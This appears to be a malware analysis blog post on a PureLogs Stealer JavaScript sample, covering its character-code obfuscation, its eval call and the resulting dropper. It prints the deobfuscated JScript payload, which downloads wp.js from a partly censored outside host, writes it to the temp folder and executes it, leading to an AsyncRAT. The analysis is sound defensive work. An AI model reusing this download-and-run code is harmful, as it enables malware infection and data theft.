/ MALWARE, JS

PureLogs Stealer

MalwareBazzar: 3eaae1b3f71898ceac37bd6a7779ed9e821d06a1004ff5f527922ae6c9066082

About

“PureLogs, also known as PureLog Stealer, is an infostealer malware from the Pure family that aims to steal sensitive information from infected devices.”. My general knowledge of the Purelogs family is limited. If you’re looking for something detailed about PureLog/PureLogs/PureLogs Stealer there is a wonderful writeup on Any.Run by khr0x, Jane & Maksim Mikhailov. It’s worth reading so I would recommend checking it out. I will be walking through the file listed with the hash above. The JS file itself looks like the following:

PureLogsStealer1

Initial Overview

This relatively small file and at first glance, its approach seems pretty straightforward. We’re building a string with the stactic method on the String object.

    String.fromCharCode(...)

This large method builds a really large string and hides the UTF-16 character codes. The author takes a number, variable U1s (258393352), and subtracts a larger number to get a set of UTF-16 character codes. In the example below we can see that the first three letters come out to be ‘t’ ‘r’ ‘y’.

PureLogsStealer2 PureLogsStealer3

After this string is built and then stored in a variable, the author calls eval() to build the initial JS payload.

Payload

The following string is the actual JS that is used to drop a secondary file and .Net code eventually. I have cleaned up some variable names and censored the domain name to prevent someone from accidentally following the link.

    try{
        var Object = new ActiveXObject('MSXML2.XMLHTTP')
        Object.Open('GET',
            'https://postutopia.***/wp-includes/images/smilies/wp.js',
            false             )
        Object.Send()
        var axo = new ActiveXObject('Scripting.FileSystemObject')
        var filepath = axo.GetSpecialFolder(2) + '/IDWYPJ.js'

        if (Object.Status == 200){
            var Stream = new ActiveXObject('ADODB.Stream')
            Stream.Open()
            Stream.Type = 1
            Stream.Write(Object.ResponseBody)
            Stream.Position = 0
            Stream.SaveToFile(filepath, 2)                 Stream.Close()
            var WshShell = new ActiveXObject('WScript.Shell')
            var oRun = WshShell.Run(filepath)             }
    } catch(e) {}

The file works by checking for the existence of this wp.js file stored. It then sends this get request and creates an ActiveXObject (axo), this is used to get the file path to the temporary directory and the file we’re creating. If the GET request is successful we write the wp.js file and save it (if it already exists we overwrite it). Last we created one more ActiveXObject to run the dropped wp.js, now named IDWYPJ.js file. This new file then drops an EXE and creates a few files in the temp directory called audio.exe, which looks to be an AsyncRAT.

Conclusion

This sample of malware was not particularly interesting in terms of JS and what it did to obscure its intent. Its primary payload was only novel in the sense that it used String.fromCharCode, but it was not so obscure, that it was hard to figure out immediately what was going on. It then delivered the main JS in this String of CharCodes that it calls eval on. To read more about the malware itself and its full lifecycle, you can follow that here. This was probably one of the easier samples I had an opportunity to mess around with.